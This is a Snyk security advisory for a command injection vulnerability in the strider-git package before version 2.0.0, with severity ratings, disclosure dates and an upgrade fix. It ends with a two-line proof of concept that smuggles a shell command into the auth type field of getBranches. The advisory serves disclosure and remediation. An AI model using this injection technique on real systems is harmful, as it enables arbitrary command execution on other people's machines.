Command Injection Affecting strider-git package, versions <2.0.0
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-STRIDERGIT-572913
- published 7 Jul 2020
- disclosed 21 Jun 2020
- credit Mik317
How to fix?
Upgrade strider-git to version 2.0.0 or higher.
Overview
strider-git is a Strider provider for git repositories
Affected versions of this package are vulnerable to Command Injection.
PoC
var git = require("strider-git/lib");
git.getBranches({auth:{type:'ssaas;touch HACKED; ', privkey:'sss'}, url:'http://sss'}, '', function(){})